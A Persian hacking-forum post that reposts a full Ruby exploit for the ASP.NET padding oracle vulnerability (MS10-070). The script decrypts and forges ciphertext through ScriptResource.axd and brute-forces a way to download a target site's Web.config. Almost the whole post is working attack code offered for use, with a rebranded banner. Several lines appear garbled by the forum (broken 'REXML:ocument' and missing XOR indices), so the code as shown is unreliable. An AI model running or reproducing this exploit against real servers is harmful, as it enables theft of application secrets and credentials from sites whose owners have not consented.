SpareNet Servers Advertising & Link Exchange

اطلاعیه

بستن
هیچ اطلاعیه ای هنوز ایجاد نشده است .

ASP.NET Padding Oracle File Download

بستن
X
 
  • فیلتر
  • زمان
  • نمایش
پاک کردن همه
نوشته‌های جدید

  • ASP.NET Padding Oracle File Download

    [php]#!/usr/bin/ruby -w

    #
    # aspx_po_chotext_attack.rb
    #
    # MS10-070 ASPX proof of concept
    # Decrypt data using Vaudenay's cbc-padding-oracle-side-channel
    # Encrypt data using Rizzo-Duong CBC-R technique
    #
    # Copyright (c) 2012 ampliasecurity. All rights reserved.
    #
    # Unless you have express writen permission from the Copyright
    # Holder, any use of or distribution of this software or portions of it,
    # including, but not limited to, reimplementations, modifications and derived
    # work of it, in either source code or any other form, as well as any other
    # software using or referencing it in any way, may NOT be sold for commercial
    # gain, must be covered by this very same license, and must retain this
    # copyright notice and this license.
    # Neither the name of the Copyright Holder nor the names of its contributors
    # may be used to endorse or promote products derived from this software
    # without specific prior written permission.
    #
    #
    # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
    # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
    # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
    # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
    # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
    # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
    # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
    # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
    # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
    # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
    # POSSIBILITY OF SUCH DAMAGE.
    #


    $debugging = false


    require 'net/http'
    require 'uri'
    require 'rexml/document'


    #<require 'xarray'>
    module XArray
    def hex_inspect
    "[#{length}][ #{map { |x| x.hex_inspect }.join ", " } ]"
    end
    end

    class Array
    include XArray
    end
    #</require 'xarray'>


    #<require 'xbase64'>
    require 'base64'

    class XBase64
    def self.encode s
    s = Base64.encode64 s
    s = s.gsub '+', '-'
    s = s.gsub '/', '_'
    s = s.gsub "\n", ''
    s = s.gsub "\r", ''

    s = XBase64.encode_base64_padding s
    end

    def self.encode_base64_padding s
    padding_length = 0
    padding_length += 1 while s[-1 - padding_length, 1] == "="
    s[0..(-1 - padding_length)] + padding_length.to_s
    end


    def self.decode s
    s = s.gsub '-', '+'
    s = s.gsub '_', '/'

    s = self.decode_base64_padding s

    Base64.decode64 s
    end

    def self.decode_base64_padding s
    padding_length = s[-1,1].to_i
    s[0...-1] + ("=" * padding_length)
    end
    end
    #</require 'xbase64'>


    #<require 'xstring'>
    module XString
    def xor other
    raise RuntimeError, "length mismatch" if self.length != other.length
    (0...length).map { |i| self[i] ^ other }.map { |x| x.chr }.join
    end
    alias ^ :xor

    def hex_inspect
    printables = [ "\a", "\b", "\e", "\f", "\n", "\r", "\t", "\v" ] + \
    (0x20..0x7e).entries

    "[#{length}]" + "\"#{unpack("C*").map { |x|
    printables.include?(x) ? x.chr : "\\x%02x" % x }.join}\""
    end

    def to_blocks blocksize
    (0...length/blocksize).map { |i| self[blocksize * i, blocksize]}
    end
    end

    class String
    include XString
    end
    #</require 'xstring'>


    #<require 'padding_verification_strategy'>
    class PaddingVerificationStrategy
    def initialize parameters
    @parameters = parameters
    end

    def valid_padding?
    raise RuntimeError, "abstract method !"
    end
    end

    class ErrorCodeStrategy < PaddingVerificationStrategy
    def valid_padding? response
    invalid_padding_error_code = @parameters[:invalid_padding_error_code]
    not (invalid_padding_error_code == response.code)
    end
    end

    class BodyLengthStrategy < PaddingVerificationStrategy
    def valid_padding? response
    invalid_padding_body_length = @parameters[:invalid_padding_body_length]
    absolute_error = @parameters[:absolute_error]

    not ( (invalid_padding_body_length - response.body.length).abs < absolute_error)
    end
    end

    class BodyContentStrategy < PaddingVerificationStrategy
    def valid_padding?
    end
    end

    class TimingStrategy < PaddingVerificationStrategy
    def valid_padding?
    end
    end
    #</require 'padding_verification_strategy'>


    #<require 'padding_oracle_decryptor'>
    class PaddingOracleDecryptor
    attr_accessor :blocksize
    attr_accessor :d_value
    attr_accessor :http
    attr_accessor :strategy

    def initialize
    @tries = 0
    @a = []
    @decrypted = []
    @blocksize = nil
    @d_value = nil
    @http = nil
    @strategy = nil
    end


    def discover_blocksize_and_oracle_behaviour
    puts "discovering blocksize and oracle behaviour..."

    [ 16, 8 ].each do |b|
    ciphertext = @d_value.clone
    ciphertext[-(b * 3)] ^= 0x01

    response = http.send_request ciphertext

    valid_padding_code = response.code
    valid_padding_body_length = response.body.length

    0.upto b - 1 do |i|
    ciphertext = @d_value.clone
    ciphertext[-(b * 2) + i] ^= 0x01

    response = http.send_request ciphertext

    # puts "code: #{response.code}, length: #{response.body.length}"

    # if valid_padding_code != response.code
    # puts "padding verification strategy based on error code"
    # @strategy = ErrorCodeStrategy.new :valid_padding_code => valid_padding_code,
    # :invalid_padding_code => response.code
    # @blocksize = b
    # break
    # end

    if valid_padding_body_length != response.body.length
    absolute_error = 200
    if (valid_padding_body_length - response.body.length).abs > absolute_error
    puts "padding verification strategy based on body length"
    @strategy = BodyLengthStrategy.new :valid_padding_body_length => valid_padding_body_length,
    :invalid_padding_body_length => response.body.length,
    :absolute_error => absolute_error
    @blocksize = b
    break
    end
    end
    end
    break if blocksize
    end

    raise RuntimeError, "could not select a valid padding verification strategy!" unless blocksize

    puts "discovered blocksize: #{blocksize}"
    # blocksize and padding_length leads to automatic tail decryption !

    blocksize
    end

    def valid_padding? response
    strategy.valid_padding? response
    end

    def ask_oracle r
    @tries += 1
    r = r[1..-1].pack "C" * blocksize

    ciphertext = d_value + r + @y

    response = http.send_request ciphertext

    return 1 if valid_padding? response

    return 0
    end

    def decrypt_last_word
    print "last word... "
    $stdout.flush

    b = blocksize

    # 1. pick a few random words r[1],...,r[b] and take i = 0
    saved_r = [0]
    saved_r += (1..b).map { |i| rand 0xff }
    i = 1
    loop do
    r = saved_r.clone

    # 2. pick r = r[1],...,r[b-1],(r[b] xor i)
    r[b] = r ^ i

    # 3. if O(r|y) = 0 then increment i and go back to the previous step
    break if ask_oracle(r) == 1
    i += 1
    raise "failed!" if i > 0xff
    end

    # 4. replace r[b] by r[b xor i]
    saved_r[b] = saved_r ^ i

    # 5. for n = b down to 2 do
    # (a) take r = r[1],...,r[b-n],(r[b-n+1] xor 1),r[b-n+2],...,r[b]
    # (b) if O(r|y) = 0 then stop and output (r[b-n+1] xor n),...,r[b xor n]
    b.downto 2 do |n|
    r = saved_r.clone
    r[b-n+1] = r[b-n+1] ^ 1
    if ask_oracle(r) == 0
    # puts "lucky #{n}!"
    n.downto(1) do |t|
    word = r[b-t+1] ^ n
    @a[b-t+1] = word
    puts "a[#{b-t+1}]: #{word}"
    end
    return
    end
    end
    r = saved_r.clone

    # 6. output r[b] xor 1
    last_word = r[b] ^ 1
    @a[blocksize] = last_word
    # puts "\x07a[#{blocksize}]: 0x%02x" % @a[blocksize]
    end

    def decrypt_ax x
    print "a[#{x}]... "
    $stdout.flush

    b = blocksize
    j = x+1
    saved_r = [ 0 ]

    # 2. pick r[1],...,r[j-1] at random and take i = 0
    saved_r += (1..x).map { |i| rand 0xff }
    i = 0

    # 1. take r[k] = a[k] xor ( b - j + 2) for k = j,...,b
    2.upto b do |k|
    saved_r[k] = @a[k] ^ (b - j + 2) if x < k
    end

    loop do
    r = saved_r.clone

    # 3. take r = r[1]...r[j-2](r[j-1] xor i)r[j]..r[b]
    r[x] = r[x] ^ i


    # 4. if O(r|y) = 0 then increment i and go back to the previous step
    break if (ask_oracle r) == 1
    i += 1
    raise "failed!" if i > 255
    end

    r = saved_r.clone

    # 5. output r[j-1] xor i xor (b - j + 2)
    @a[x] = (r[x] ^ i) ^ (b - j + 2)
    # puts "\x07a[#{x}]: 0x%02x" % @a[x]
    end


    def decrypt_block iv, y
    @tries = 0
    @iv = iv
    @y = y

    print "decrypting "
    $stdout.flush

    decrypt_last_word
    (blocksize - 1).downto 1 do |j|
    decrypt_ax j
    end

    puts
    puts "tries: #{@tries}, average: #{(blocksize * 256) / 2}"
    @a.shift

    plaintext_block = (0...blocksize).map { |i| @a[i] ^ @iv }.pack "C*"

    plaintext_block
    end

    def decrypt ciphertext
    plaintext_blocks = Array.new
    cipher_blocks = ciphertext.to_blocks blocksize

    iv = "\x00" * blocksize
    cipher_blocks.unshift iv

    1.upto cipher_blocks.length - 2 do |i|
    plaintext_block = decrypt_block cipher_blocks[-i - 1], cipher_blocks[-i]
    plaintext_blocks.unshift plaintext_block
    end

    plaintext_blocks.join
    end
    end
    #</require 'padding_oracle_decryptor'>


    class ASPXPaddingOracleChosenCiphertextAttack
    attr_reader :uri
    attr_reader :filename
    attr_reader :filelength
    attr_reader :filere
    attr_reader :http
    attr_reader :d_value
    attr_reader :blocksize
    attr_reader :axdpath
    attr_reader :axdname
    attr_reader :decryptor
    attr_reader :base_mask

    def initialize parameters
    @uri = URI.parse parameters[:uri]
    @filename = parameters[:filename]
    @filelength = parameters[:filelength]
    @filere = parameters[:filere]
    @http = http_initialize
    @d_value = nil
    @base_mask = rand 0xffff
    @blocksize = nil
    @axdpath = nil
    @axdname = nil
    @decryptor = PaddingOracleDecryptor.new

    puts "using target: #{@uri}"
    puts "using base_mask: 0x%04x" % @base_mask
    end

    def http_initialize
    http = Net::HTTP.new @uri.host, @uri.port
    http
    end


    def parse_script_tag xml, re
    d = nil

    doc = REXML:ocument.new xml
    doc.elements.each 'script' do |e|
    src_attribute = e.attributes['src']
    md = re.match src_attribute
    d = md[1]
    break
    end

    raise RuntimeError, "could not parse script_tag" unless d

    d
    end
    private arse_script_tag

    def get_ciphertext_sample
    puts "starting connection..."

    http.start

    [ [ "ScriptResource.axd", /\/ScriptResource\.axd\?d=([a-zA-Z0-9\-\_]+)\&t=[a-z0-9]+/ ]
    ].each do |name, re|

    headers = { 'User-Agent' => \
    'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' }

    response = http.get uri.path, headers
    body = response.body

    script_tags = body.lines.select { |x| x.index name }

    next if script_tags.empty?

    # puts "script tags using #{name} [#{script_tags.length}]:"
    # puts script_tags.map { |x| "\t#{x}" }

    d = parse_script_tag script_tags[0], re

    puts "using script: #{name}"
    puts "using d_value: #{d}"

    @axdpath = uri.path[0, uri.path.rindex('/')]
    @axdname = name
    @d_value = ("\x00" * 16) + (XBase64.decode d)
    break
    end

    raise RuntimeError, "could not find any axd sample" unless d_value

    decryptor.http = self
    decryptor.d_value = d_value

    d_value
    end

    def parse_html_body h, body
    parsed = String.new

    doc = REXML:ocument.new body
    doc.elements.each h do |e|
    parsed = e.text
    break
    end

    parsed
    end

    def send_request d
    request = Net::HTTP::Get.new "/#{axdpath}/#{axdname}?d=#{XBase64.encode d}"
    request['Connection'] = 'Keep-Alive'
    @http.request request
    end

    def decrypt ciphertext
    decryptor.decrypt ciphertext
    end


    def discover_blocksize_and_oracle_behaviour
    @blocksize = decryptor.discover_blocksize_and_oracle_behaviour
    end

    def reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks
    puts "cipher_blocks.count: #{cipher_blocks.count}"

    required_block_count = 1 + new_plaintext_blocks.length + 1
    puts "required_block_count: #{required_block_count}"

    if required_block_count < cipher_blocks.count then
    delta = cipher_blocks.count - required_block_count
    puts "removing #{delta} extra blocks..."
    cipher_blocks = [ cipher_blocks[0] ] + cipher_blocks[-required_block_count+1..-1]
    elsif required_block_count > cipher_blocks.count then
    delta = required_block_count - cipher_blocks.count
    puts "adding #{delta} extra_blocks..."
    cipher_blocks = [ cipher_blocks[0], ("\x00" * blocksize) * delta ] + cipher_blocks[1..-1]
    end

    puts "cipher_blocks.count: #{cipher_blocks.count}"

    cipher_blocks
    end
    private :reallocate_cipher_blocks

    def generate_new_plaintext_blocks
    tail_padding = "\x01"
    head_padding_length = blocksize - ( (@filename.length + tail_padding.length) % blocksize)
    head_padding_length = 0 if head_padding_length == blocksize
    head_padding = "\x00" * head_padding_length
    new_plaintext = head_padding + @filename + tail_padding

    new_plaintext.to_blocks blocksize
    end
    private :generate_new_plaintext_blocks

    def encrypt
    puts "encrypting \"#{@filename.hex_inspect}..."

    new_plaintext_blocks = generate_new_plaintext_blocks

    cipher_blocks = @d_value.to_blocks blocksize
    cipher_blocks = reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks

    puts "decrypting #{new_plaintext_blocks.length} blocks..."
    (1..new_plaintext_blocks.length).each do |i|
    puts "block #{i} of #{new_plaintext_blocks.length}"

    old_plaintext_block = decryptor.decrypt_block cipher_blocks[-i - 1], cipher_blocks[-i]
    puts "old_plaintext_block: #{old_plaintext_block.hex_inspect}"

    cipher_blocks[-1 - i] ^= old_plaintext_block ^ new_plaintext_blocks[-i]
    end

    puts "eye candy: decrypting crafted ciphertext"
    new_plaintext = decrypt cipher_blocks.join
    puts "new_plaintext: #{new_plaintext.hex_inspect}"


    @d_value = cipher_blocks.join
    end


    def discover_escape_sequence
    puts "discovering escape sequence..."

    escape_sequence_mask = nil

    offset = base_mask % (blocksize - 4)

    ciphertext = d_value.clone
    0x1ffff.times do |mask|
    ciphertext[offset, 4] = [ base_mask + mask ].pack "L"

    response = send_request ciphertext
    print "\rtrying escape_mask: 0x%05x/0x1ffff, http_code: %4d, body_length: %5d" % \
    [ mask, response.code, response.body.length ]

    next unless response.code == "200"

    next if filelength and (response.body.length < filelength)

    next if filere and (not filere =~ response.body)

    escape_sequence_mask = base_mask + mask

    puts
    puts "found!"
    puts "press any key to show the contents of the file"
    $stdin.gets
    puts response.body
    break
    end

    raise RuntimeError, "no more combinations to try !" unless escape_sequence_mask

    escape_sequence_mask
    end

    def pause
    puts
    puts "press any key to start the attack"
    $stdin.gets
    end

    def run
    get_ciphertext_sample
    pause
    discover_blocksize_and_oracle_behaviour
    encrypt
    discover_escape_sequence
    end
    end



    puts [ "-------------------------------------------",
    "aspx_po_chotext_attack.rb",
    "(c) 2012 IRanHackSECURITY",
    "http://www.IRanHack.Org",
    "Agustin Azubel - [email protected]",
    "-------------------------------------------",
    "\n" ].join "\n"


    if ARGV.length != 1 then
    $stderr.puts "usage: ruby #{$PROGRAM_NAME} http://192.168.1.1/Default.aspx"
    exit
    end

    begin
    parameters = {
    :uri => ARGV.first,
    :filename => "|||~/Web.config",
    :filere => /configuration/
    }

    x = ASPXPaddingOracleChosenCiphertextAttack.new parameters
    x.run
    rescue Exception => e
    $stderr.puts "Exploit failed: #{e}"

    raise if $debugging[/php]
صبر کنید ..
X